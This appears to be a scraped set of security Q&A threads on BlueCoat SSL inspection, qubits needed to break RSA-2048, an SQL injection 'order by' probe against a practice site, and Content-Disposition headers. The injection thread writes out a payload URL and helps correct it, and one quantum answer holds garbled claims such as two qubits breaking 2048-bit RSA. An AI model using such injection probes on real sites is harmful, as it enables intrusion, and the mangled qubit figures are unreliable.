How does Blucoat Proxy allow governments to decrypt SSL?

It does not allow governments to decrypt any kind of SSL traffic on any network. BlueCoat is used inside companies (and inside government organizations) to inspect their own incoming and outgoing SSL traffic for malware, data leakage etc. The necessary proxy certificates to do transparent SSL inspection are officially installed on the systems. If these are not installed then users get a warning.


How many qubits are needed to factor 2048-bit RSA keys on a quantum computer? I've been reading about quantum computing and turns out that 512-bit quantum processors are already a thing. I also read about Shor's algorithm, which can break RSA and several asymmetric encryption schemas in the next upcoming years.

Quantum computing power has been growing faster than Moore's law and now I wonder how many qubits Shor's algorithm needs to factor 2048-bit key modulus.

Source: https://www.youtube.com/watch?v=6VIAL8gQRTI

Actually the question must be clarified, that in which time you want to break RSA, for example scientists say that RSA with 512-bit can be broken in 6 week with quantum computers, but with how many qubits? So time is important, 2 qubit can break 2048-bit but in which time? Because in quantum computers each qubit can be 0 and 1 in each moment, so n qubit can handle 2n state in a moment, if number of  qubits are increased the break time decreases(reverse relation). For example 2048 qubit can handle 22048 state in moment. Also only qubits are not enough, qubits are memory for quantum computers. More qubits mean you can factor bigger numbers.

According to mentioned paper:

... If large quantum computers can be built, then RSA ciphers become useless.
It is estimated that 2048-bit RSA keys could be broken on a quantum computer comprising 4,000 qubits and 100 million gates. Experts speculate that quantum computers of this size may be available within the next 20-30 years.

Quantum Computing and Cryptography

And according to this one:

Quantum memory units are called qubits and the largest quantum computers capable of running Shor’s algorithm only have about 20 qubits. (A Canadian company called DWAVE has a quantum computer with 512 qubits but it has very high error rates on its qubits and is based on another principle called quantum annealing.) To run Shor’s on 2048 bit RSA would require at least 10,000 qubits. It will probably be a while before such a machine can be built.

Online security, cryptography, and quantum computing


SQL Injection - "order by" clause does not work I am learning web development and at the same time I want to learn web hacking in order to better protect my websites in the future. Now I learning SQL injection and I am hacking into a hackme domain. Even though it is vulnerable, when I run this order by query:

http://www.hackmedomain.gr/news.php?id=4842 order by '1000'

I get this result:

  Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1000''' at line 1

If I use order by 1 I get the same thing. What I am doing wrong?

As @tryna-learn-somethin mentions in comments, the likely source of the problem here is that you appear to be enclosing the order by column in single quotes, which are likely not necessary and getting treated as a SQL syntax error.

If you look at examples like the ones in this answer you should be able to construct a valid example for this injection point.


content disposition headers vs cloud and inspection Quoting from McAfee MVISION CASB

  Many cloud services use custom content disposition headers in an
  effort to improve the performance of their applications. These custom
  headers have the unintended side effect of preventing network security
  solutions (and on-premises DLP solutions that integrate to them via
  ICAP) from inspecting content for DLP.

What are the content disposition headers exactly and why they prevent network solution from inspecting content?

As per  Microsoft Content-disposition is an extension to the MIME protocol that instructs a MIME user agent on how it should display an attached file

This is honestly bizarre and a number of searches find me no references aside from this article to say that content disposition headers are in any way involved with performance.

The content disposition header effectively tells the user agent (browser) how to handle or display the file if it is requested directly. The primary usage of it in HTTP responses is to specify that a file is to be downloaded rather than displayed inline.

The valid syntax for the response headers are as follows:

Content-Disposition: inline
Content-Disposition: attachment
Content-Disposition: attachment; filename="some.file"

The first is the default, meaning the content is displayed in the user agent as normal.

The second indicates that the content must be processed as an attachment, which in the context of a browser means a file to be downloaded and not displayed inline. The default name of the file is the final part of the URI's path. For example, in the URL https://foo.bar/downloads/fuzz.xyz, the file name would default to fuzz.xyz.

The third option is the same as before, except the default filename is explicitly specified.

Additionally, the content disposition header can be used as part of a multipart HTTP request, most commonly in order to enable file uploads:

Content-Disposition: form-data
Content-Disposition: form-data; name="fieldName"
Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"

As far as I know, there are no performance reasons to use this, or use any non-standards compliant variant of it. I couldn't find any reference to anyone doing so either.

My guess is that some cloud platforms utilise the Content-Disposition header in some non-standard ways (e.g. using it to perform programmatic file uploads as part of a REST API) which is incompatible with DLP solutions that naively rely upon the file extension in the indicated filename, leading it to assume that the data being transferred was of filetype X, when it was of a different (or no) filetype, resulting in incorrect parsing of the data.

On a personal note, I wouldn't trust any information you find in marketing materials written by DLP vendors. I've tested a number of products and not a single one was able to correctly identify policy-violating data exfiltration even when being obscenely loud about it (e.g. putting fake customer data directly onto Pastebin). They make a lot of claims and very rarely come close to backing them up.